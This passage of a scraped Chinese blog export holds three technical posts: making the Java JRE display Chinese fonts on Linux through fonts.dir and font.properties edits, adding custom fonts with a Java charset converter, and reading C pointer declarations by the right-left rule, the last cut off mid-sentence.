-tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\n生成fonts.scale：cp fonts.dir fonts.scale。\n4.修改/etc/X11/XF86config文件，增加字体目录FontPath \u0026quot;/usr/X11R6/lib/X11/fonts/truetype/ttf-zh\u0026quot;\n5.运行SuSEconfig，如果没有什么错误提示，重新启动xwindow，你此时运行/jre/bin/ControlPanel就会见到下面的图样。\n注意事项：如果你新安装了jre1.4.1_01的话，建议安装到原来系统的默认目录/usr/lib/SunJava2-1.3.1中。同时修改. /jre/lib/font.properties.zh.Turbo，将其改名为font.properties.zh。否则仍然是\u0026ldquo;口\u0026rdquo;。\n至此，一切就搞定了。\n尝试：如果不想新建立目录和fonts.dir，可以在原来的fonts.dir中增加上面的字体脚本，但是要将开头的数字改为x+132（这个是说明下面有多少行，必需改）。然后做2个联接，ln -s simsun.ttf tlc_song.ttf，ln -s tahoma.ttf tlc_song_ascii.ttf。然后运行SuSEconfig，重新启动xwindow。这种改动最小，只是我当时怕这样该引起原来的字体混乱，所以按照前述的方法修改。如有不对之处，还请大家指教。\n转载自：http://www.unlinux.com/doc/java/20051028/5830.html\n","permalink":"https://hessian.cn/p/660.html","summary":"创建：2005-10-28 00:09:13\n作者：Unlinux\n来自: http://www.Unlinux.com\n由于jre里font.properies默认的字体是 Turbolinux里的-tlc-song-字体，如果你没有这种字体，肯定显示的都是\u0026ldquo;口\u0026rdquo;，解决方法有2种，一个就是按照jre里的说明，按照它的方法自己添加字体，但是这个难度比较大，需要用它提供的脚本，但是对于我们这些不是很了解java程序的菜鸟来说，这个方法显然有点难度。于是，我就想，既然我自己没有办法生成字体目录，我就改我原来的fonts.dir，让它支持这种-tlc-song-字体，同时保持原来的字体-misc- simsun-。更改的方法有很多种，我的方法不一定最好，也不一定是最简单，如果那个兄弟有更好的方法，可以写出来。\n1\u0026gt; 新生成一个fonts.dir；\n2\u0026gt; 在原来的fonts.dir里增加新的字体定义。\n我以前一种为例子，具体方法如下：\n1.在/usr/X11R6/lib/X11/fonts/trutype/下建立一个新的目录ttf-zh（目录名随便你起），然后将simsun.ttf，tahoma字体拷贝至这个新建立的目录。\n2.将simsun.ttf改名为tlc_song.ttf，将tahoma.ttf改为tlc_song_ascii.ttf。\n3.生成fonts.dir文件：\n132\ntlc_song_ascii.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\ntlc_song_ascii.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\ntlc_song.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\ntlc_song.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:tlc_song.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:tlc_song.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nds=y:tlc_song.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nds=y:tlc_song.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:ds=y:tlc_song.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:ds=y:tlc_song.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\ntlc_song_ascii.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\nai=0.3:tlc_song_ascii.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\nds=y:tlc_song_ascii.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song_ascii.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\ntlc_song_ascii.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nds=y:tlc_song.ttf -tlc-default-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:ds=y:tlc_song.ttf -tlc-default-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\n生成fonts.scale：cp fonts.dir fonts.scale。\n4.修改/etc/X11/XF86config文件，增加字体目录FontPath \u0026quot;/usr/X11R6/lib/X11/fonts/truetype/ttf-zh\u0026quot;\n5.运行SuSEconfig，如果没有什么错误提示，重新启动xwindow，你此时运行/jre/bin/ControlPanel就会见到下面的图样。\n","title":"关于如何让jre显示中文字体的方法"},{"content":"\u0026nbsp;\u0026nbsp; Adding Fonts to the Java Runtime 要加一种亚洲字体进JRE，请按以下步骤进行：\n1.装入字体\n首先，你必须装载中文、日文、韩文或传统的中文字体（楷书、宋体等）到你的系统里面\n2.复制字体进font.properties\n装好了字体后，复制你感兴趣字体的descriptio到font.properties,最简捷的方法是把\nfont.properties.\u0026lt;locale\u0026gt;直接改名为font.properties\n例如：要使用中文字体，你可以复制或者改名font.properties.zh为font.properties. 现行的WIN32 JDK提供如下font properties 文件\n./lib/font.properties\n./lib/font.properties.ja\n./lib/font.properties.ko\n./lib/font.properties.zh\n./lib/font.properties.zh_TW\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n并且你可以在JRE里使用多于一种的亚洲字体，所必须做的就是编辑font.properties\n文件。\n例如你要加三种SERIF字体；\nserif.0=Times New Roman,ANSI_CHARSET\nserif.1=WingDings,SYMBOL_CHARSET,NEED_CONVERTED\nserif.2=Symbol,SYMBOL_CHARSET,NEED_CONVERTED\n\u0026lt;virtual font name\u0026gt;.\u0026lt;index number\u0026gt; = \u0026lt;platform font name\u0026gt;, attributes\n后面有三个参数，如Times New Roman、WingDings就是字体名\n第二个参数(SYMBOL_CHARSET)是相应字符集的处理接口\n第三个参数是表明相应字符集不能直接同过UNICODE编码处理，需要与UNICODE间的转换器\n通过以下语句设不同FONTS的转换器\nfontcharset.serif.1=sun.awt.windows.CharToByteWingDings\nfontcharset.serif.2=sun.awt.CharToByteSymbol\n用户也可以定制自己的字体、字符集与自定义的UNICODE转换器\n例如说你想增加你自己定制的字体到JAVA的serif\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 系列字体里去，\n假设你的字体共有256个，从0到0Xff.正对应于UNICODE里的OXE000-0XEOFF。\n首先你要设计你的转换类\npackage mypkg.converter;\nimport sun.io.CharToByteISO8859_1;\nimport sun.io.CharToByteConverter;\nimport sun.io.ConversionBufferFullException;\npublic class CharToByteMyFont extends sun.io.CharToByteISO8859_1 { \u0026nbsp;\u0026nbsp;\u0026nbsp; /*\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; * This method indicates the range this font covers.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; */\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public boolean canConvert(char ch) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (ch \u0026gt;= 0xe000 \u0026amp;\u0026amp; ch \u0026lt;= 0xe0ff) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; /*\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; * This method converts the unicode to this font index.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; */\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public int convert(char[] input, int inStart, int inEnd, \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; byte[] output, int outStart, int outEnd) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; throws ConversionBufferFullException {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; int outIndex = outStart; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; for (int i = inStart; i \u0026lt; inEnd; i++) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; char ch = input[i];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (ch \u0026gt;= 0xe000 \u0026amp;\u0026amp; ch \u0026lt;= 0xe0ff) {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (outIndex \u0026gt;= outEnd) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; throw new ConversionBufferFullException();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; output[outIndex++] = (byte)(ch \u0026#8211; 0xe000);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return outIndex \u0026#8211; outStart;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n第二步，加你自己的字体和转换器进Properties文件\n你先要增加你的字体的名子进文件里，\n如\nserif.3=\u0026lt;your own font name\u0026gt;\n然后定义相应的converter\nfontcharset.serif.3=mypkg.converter.CharToByteMyfont\n为了确定JRE能够找到你的转换器，你的application classpath 必须包含转换器的路径\n以上是我看了sun里的相关文章后觉得很不错而粗略整理出来的，目的只在于把相关内容大概介绍一下，请不要见笑，最好参考英文原文\nhttp://java.sun.com/products/jdk/1.1/docs/guide/intl/fontprop.html\n或到http://java.sun.com/products/jdk/1.1/docs/guide/intl/index.html看更多的Internationalization相关资料以及samples\n本人正在做多国语的网版词典，所以有在找相关资料，这是我看到的比较有用的叙述JAVA中字符集处理的文章，如果各位看到更好的java对unicode支持的资料请告知我，谢谢\n","permalink":"https://hessian.cn/p/508.html","summary":"\u0026nbsp;\u0026nbsp; Adding Fonts to the Java Runtime 要加一种亚洲字体进JRE，请按以下步骤进行：\n1.装入字体\n首先，你必须装载中文、日文、韩文或传统的中文字体（楷书、宋体等）到你的系统里面\n2.复制字体进font.properties\n装好了字体后，复制你感兴趣字体的descriptio到font.properties,最简捷的方法是把\nfont.properties.\u0026lt;locale\u0026gt;直接改名为font.properties\n","title":"［转］往JRE里添加新字体"},{"content":"C语言所有复杂的指针声明，都是由各种声明嵌套构成的。如何解读复杂指针声明呢？右左法则是一个既著名又常用的方法。不过，右左法则其实并不是C标准里面的内容，它是从C标准的声明规定中归纳出来的方法。C标准的声明规则，是用来解决如何创建声明的，而右左法则是用来解决如何辩识一个声明的，两者可以说是相反的。右左法则的英文原文是这样说的：\nThe right-left rule: Start reading the declaration from the innermost parentheses, go right, and then go left. When you encounter parentheses, the direction should be reversed. Once everything in the parentheses has been parsed, jump out of it. Continue till the whole declaration has been parsed. 这段英文的翻译如下：\n右左法则：首先从最里面的圆括号看起，然后往右看，再往左看。每当遇到圆括号时，就应该掉转阅读方向。一旦解析完圆括号里面所有的东西，就跳出圆括号。重复这个过程直到整个声明解析完毕。\n笔者要对这个法则进行一个小小的修正，应该是从未定义的标识符开始阅读，而不是从括号读起，之所以是未定义的标识符，是因为一个声明里面可能有多个标识符，但未定义的标识符只会有一个。\n现在通过一些例子来讨论右左法则的应用，先从最简单的开始，逐步加深：\nint (*func)(int *p);\n首先找到那个未定义的标识符，就是func，它的外面有一对圆括号，而且左边是一个*号，这说明func是一个指针，然后跳出这个圆括号，先看右边，也是一个圆括号，这说明(*func)是一个函数，而func是一个指向这类函数的指针，就是一个函数指针，这类函数具有int*类型的形参，返回值类型是 int。\nint (*func)(int *p, int (*f)(int*));\nfunc被一对括号包含，且左边有一个*号，说明func是一个指针，跳出括号，右边也有个括号，那么func是一个指向函数的指针，这类函数具有int *和int (*)(int*)这样的形参，返回值为int类型。再来看一看func的形参int (*f)(int*)，类似前面的解释，f也是一个函数指针，指向的函数具有int*类型的形参，返回值为int。\nint (*func[5])(int *p);\nfunc 右边是一个[]运算符，说明func是一个具有5个元素的数组，func的左边有一个*，说明func的元素是指针，要注意这里的*不是修饰func的，而是修饰func[5]的，原因是[]运算符优先级比*高，func先跟[]结合，因此*修饰的是func[5]。跳出这个括号，看右边，也是一对圆括号，说明func数组的元素是函数类型的指针，它所指向的函数具有int*类型的形参，返回值类型为int。\nint (*(*func)[5])(int *p);\nfunc 